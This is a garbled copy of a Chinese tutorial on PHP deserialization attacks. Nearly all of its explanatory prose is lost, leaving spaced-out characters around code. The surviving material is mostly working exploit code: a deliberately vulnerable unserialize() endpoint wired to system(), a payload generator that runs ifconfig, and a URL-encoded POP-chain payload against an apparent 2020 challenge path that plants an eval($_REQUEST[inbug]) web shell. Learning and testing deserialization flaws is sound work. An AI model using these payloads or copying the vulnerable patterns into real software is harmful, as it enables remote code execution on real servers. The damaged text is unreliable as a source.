[18977] 2021-08-06_PHP反序列化漏洞浅入浅出

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2021-08-06_PHP反序列化漏洞浅入浅出 P H P   I n B u g   I n B u g   2 0 2 1 - 0 8 - 0 6 #   , 2 #   , 1 #   , 1 # p h p   , 1                                                                                                                                                                                                         C # p y t h o n j a v a p h p J a v a S c r i p t 便 便 使   使 P H P P H P   O : 7 : " S t u d e n t " O o b j e c t 7 " S t u d e n t " O p h p : : O : 7 : " S t u d e n t " S t u d e n t 3 3 P H P < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . " ) ;         } } $ s t u 1 = n e w   S t u d e n t ( ' A l i c e ' , 1 ) ; $ s t u 2 = n e w   S t u d e n t ( ' B o b ' , 2 ) ; $ s t u 1 - > h e l l o ( ) ; $ s t u 2 - > h e l l o ( ) ; e c h o ( s e r i a l i z e ( $ s t u 1 ) ) ; e c h o ( s e r i a l i z e ( $ s t u 2 ) ) ; k a l i @ k a l i : / t m p $   p h p   s t u d e n t . p h p   H e l l o , I ' m   A l i c e . H e l l o , I ' m   B o b . O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; } O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 3 : " B o b " ; s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; } < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ; } $ s t u 1 = n e w   S t u d e n t ( ) ; $ s t u 1 - > n a m e = ' A l i c e ' ; $ s t u 1 - > s t u i d = 1 ; $ s t u 2 = n e w   S t u d e n t ( ) ; $ s t u 2 - > n a m e = ' B o b ' ; $ s t u 2 - > s t u i d = 2 ; e c h o ( s e r i a l i z e ( $ s t u 1 ) ) ; e c h o ( " n " ) ; e c h o ( s e r i a l i z e ( $ s t u 2 ) ) ; e c h o ( " n " ) ; k a l i @ k a l i : / t m p $   p h p   s t u d e n t _ n o f u n c . p h p   O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; } O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 3 : " B o b " ; s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; }
c l a s s                                               P H P P H P P H P $ s t u                                                                                                                                                                                                         P H P P H P 使 线 P H P _ _ c o n s t r u c t ( ) 使 n e w _ _ d e s t r u c t ( ) _ _ c a l l ( ) 访 _ _ c a l l S t a t i c ( ) 使 访 _ _ g e t ( ) 访 _ _ s e t ( ) 访 _ _ i s s e t ( ) 访   i s s e t ( )     e m p t y ( )   _ _ u n s e t ( ) 访   u n s e t ( )   _ _ s l e e p ( ) _ _ w a k e u p ( ) _ _ s e r i a l i z e ( ) _ _ s l e e p ( ) _ _ s l e e p ( ) _ _ u n s e r i a l i z e ( ) _ _ w a k e u p ( ) _ _ w a k e u p ( ) _ _ t o S t r i n g ( ) e c h o _ _ i n v o k e ( ) O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 3 : " B o b " ; s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; } < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . n " ) ;         } } $ s t u = u n s e r i a l i z e ( ' O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; } ' ) ; $ s t u - > h e l l o ( ) ; e c h o   $ s t u - > n a m e ; e c h o   " n " ; k a l i @ k a l i : / t m p $   p h p   s t u d e n t _ s l e e p . p h p H e l l o , I ' m   A l i c e . A l i c e < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }  
_ _ g e t 访 $ s t u - > s e x u n s e r i a l i z e u n _ _ t o S t r i n g 使 使 h e l l o ( ) h e l l o n a m e n a m e S t u d e n t _ _ _ t o S t r i n g S t u d e n t $ s t u 1 使 $ c o m m a n d $ s t u 1 使 $ c o m m a n d S t u d e n t $ s t u 2 使 n a m e $ s t u 1 $ s t u 2 h e l l o $ s t u 1 $ s t u 1 _ _ t o S t r i n g e x p e x p         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . n " ) ;         }         f u n c t i o n   _ _ g e t ( $ v a l u e ) {                 e c h o   " $ v a l u e   g e t   e r r o r . n " ;                 r e t u r n ( " u n k n o w   $ v a l u e . n " ) ;         } } $ s t u = n e w   S t u d e n t ( ' A l i c e ' , 1 ) ; e c h o   $ s t u - > s e x ; k a l i @ k a l i : / t m p $   p h p   m a g i c . p h p   s e x   g e t   e r r o r . u n k n o w   s e x . < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . n " ) ;         }         f u n c t i o n   _ _ g e t ( $ v a l u e ) {                 e c h o   " $ v a l u e   g e t   e r r o r n " ;                 r e t u r n ( " u n k n o w   $ v a l u e . n " ) ;         }         f u n c t i o n   _ _ t o S t r i n g ( ) {                 s y s t e m ( $ t h i s - > c o m m a n d ) ;                 r e t u r n ( " n o k n " ) ;         } } $ s t u = u n s e r i a l i z e ( $ _ R E Q U E S T ( ' u n ' ) ) ; $ s t u - > h e l l o ( ) ; < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . n " ) ;         }         f u n c t i o n   _ _ g e t ( $ v a l u e ) {                 e c h o   " $ v a l u e   g e t   e r r o r n " ;                 r e t u r n ( " u n k n o w   $ v a l u e . n " ) ;         }         f u n c t i o n   _ _ t o S t r i n g ( ) {                 s y s t e m ( $ t h i s - > c o m m a n d ) ;                 r e t u r n ( " n o k n " ) ;         } } $ s t u 1 = n e w   S t u d e n t ( ' A l i c e ' , 1 ) ; $ s t u 1 - > c o m m a n d = ' i f c o n f i g ' ; $ s t u 2 = n e w   S t u d e n t ( $ s t u 1 , 2 ) ; e c h o   s e r i a l i z e ( $ s t u 2 ) ;
u r l : 访                                                                                                                                                                                                         2 0 2 0 w e b : / c o n t e n t / b a c k u p / n b c . p h p $ d D e m o 1 D e m o 1 t e s t ( ) e c h o $ a $ a D e m o 2 $ a - > a ( )       使 $ s D e m o 1 $ s a D e m o 2   $ t 使 $ t c m d p h p   k a l i @ k a l i : / t m p $   p h p   u n s e r _ e x p . p h p O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; O : 7 : " S t u d e n t " : 4 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; s : 7 : " c o m m a n d " ; s : 8 : " i f c o n f i g " ; } s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; } h t t p : / / 1 2 7 . 0 . 0 . 1 / u n s e r _ v u l . p h p ? u n = O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; O : 7 : " S t u d e n t " : 4 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; s : 7 : " c o m m a n d " ; s : 8 : " i f c o n f i g " ; } s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; } e t h 1 :   f l a g s = 4 1 6 3 < U P , B R O A D C A S T , R U N N I N G , M U L T I C A S T >     m t u   1 5 0 0                 i n e t   1 9 2 . 1 6 8 . 1 3 8 . 1     n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0     b r o a d c a s t   1 9 2 . 1 6 8 . 1 3 8 . 2 5 5                 i n e t 6   f e 8 0 : : c 4 9 : b f f : 2 a 4 4 : 7 c 3     p r e f i x l e n   6 4     s c o p e i d   0 x f d < c o m p a t , l i n k , s i t e , h o s t >                 e t h e r   0 0 : 5 0 : 5 6 : c 0 : 0 0 : 0 1     ( E t h e r n e t )                 R X   p a c k e t s   0     b y t e s   0   ( 0 . 0   B )                 R X   e r r o r s   0     d r o p p e d   0     o v e r r u n s   0     f r a m e   0                 T X   p a c k e t s   0     b y t e s   0   ( 0 . 0   B )                 T X   e r r o r s   0     d r o p p e d   0   o v e r r u n s   0     c a r r i e r   0     c o l l i s i o n s   0 l o :   f l a g s = 7 3 < U P , L O O P B A C K , R U N N I N G >     m t u   1 5 0 0                 i n e t   1 2 7 . 0 . 0 . 1     n e t m a s k   2 5 5 . 0 . 0 . 0                 i n e t 6   : : 1     p r e f i x l e n   1 2 8     s c o p e i d   0 x f e < c o m p a t , l i n k , s i t e , h o s t >                 l o o p     ( L o c a l   L o o p b a c k )                 R X   p a c k e t s   0     b y t e s   0   ( 0 . 0   B )                 R X   e r r o r s   0     d r o p p e d   0     o v e r r u n s   0     f r a m e   0                 T X   p a c k e t s   0     b y t e s   0   ( 0 . 0   B )                 T X   e r r o r s   0     d r o p p e d   0   o v e r r u n s   0     c a r r i e r   0     c o l l i s i o n s   0 H e l l o , I ' m o k . < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; c l a s s   D e m o 1 {     p r i v a t e   $ a ;     f u n c t i o n   t e s t ( ) {         e c h o   $ t h i s - > a ;     } } c l a s s   D e m o 2 {     p r i v a t e   $ c m d ;     f u n c t i o n   a ( ) {         e v a l ( $ t h i s - > c m d ) ;     }     f u n c t i o n   _ _ t o S t r i n g ( ) {         $ t h i s - > a ( ) ;         r e t u r n   ' o k ' ;     } } $ d   =   u n s e r i a l i z e ( $ _ G E T [ ' s ' ] ) ; $ d - > t e s t ( ) ; $ d - > t e s t ( ) $ a - > _ _ t o S t r i n g ( ) $ a $ a - > _ _ t o S t r i n g ( ) e v a l ( $ a - > c m d ) ; e v a l ( $ _ R E Q U E S T [ i n b u g ] ) ;
D e m o 1 a D e m o 2 c m d p r i v a t e p a y l o a d _ _ c o n s t r u c t c l a s s ( % 0 0 )   e x p . p h p                                                                                                                                                                                                         P H P c l a s s < ? p h p c l a s s   D e m o 1 {     p r i v a t e   $ a ;     f u n c t i o n   _ _ c o n s t r u c t ( $ a r g ) {         $ t h i s - > a = $ a r g ;     }     f u n c t i o n   t e s t ( ) {         e c h o   $ t h i s - > a ;     } } c l a s s   D e m o 2 {     p r i v a t e   $ c m d ;     f u n c t i o n   _ _ c o n s t r u c t ( $ a r g ) {         $ t h i s - > c m d = $ a r g ;     }     f u n c t i o n   a ( ) {         e v a l ( $ t h i s - > c m d ) ;     }     f u n c t i o n   _ _ t o S t r i n g ( ) {         $ t h i s - > a ( ) ;         r e t u r n   ' o k ' ;     } } $ t = n e w   D e m o 2 ( ' e v a l ( $ _ R E Q U E S T [ i n b u g ] ) ; ' ) ; $ s = n e w   D e m o 1 ( $ t ) ; $ d   =   s e r i a l i z e ( $ s ) ; e c h o ( u r l e n c o d e ( $ d ) ) ; r o o t @ k a l i #   p h p   e x p . p h p O % 3 A 5 % 3 A % 2 2 D e m o 1 % 2 2 % 3 A 1 % 3 A % 7 B s % 3 A 8 % 3 A % 2 2 % 0 0 D e m o 1 % 0 0 a % 2 2 % 3 B O % 3 A 5 % 3 A % 2 2 D e m o 2 % 2 2 % 3 A 1 % 3 A % 7 B s % 3 A 1 0 % 3 A % 2 2 % 0 0 D e m o 2 % 0 0 c m d % 2 2 % 3 B s % 3 A 2 3 % 3 A % 2 2 e v a l % 2 8 % 2 4 _ R E Q U E S T % 5 B i n b u g % 5 D % 2 9 % 3 B % 2 2 % 3 B % 7 D % 7 D / c o n t e n t / b a c k u p / n b c . p h p ? s = O % 3 A 5 % 3 A % 2 2 D e m o 1 % 2 2 % 3 A 1 % 3 A % 7 B s % 3 A 8 % 3 A % 2 2 % 0 0 D e m o 1 % 0 0 a % 2 2 % 3 B O % 3 A 5 % 3 A % 2 2 D e m o 2 % 2 2 % 3 A 1 % 3 A % 7 B s % 3 A 1 0 % 3 A % 2 2 % 0 0 D e m o 2 % 0 0 c m d % 2 2 % 3 B s % 3 A 2 3 % 3 A % 2 2 e v a l % 2 8 % 2 4 _ R E Q U E S T % 5 B i n b u g % 5 D % 2 9 % 3 B % 2 2 % 3 B % 7 D % 7 D i n b u g
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则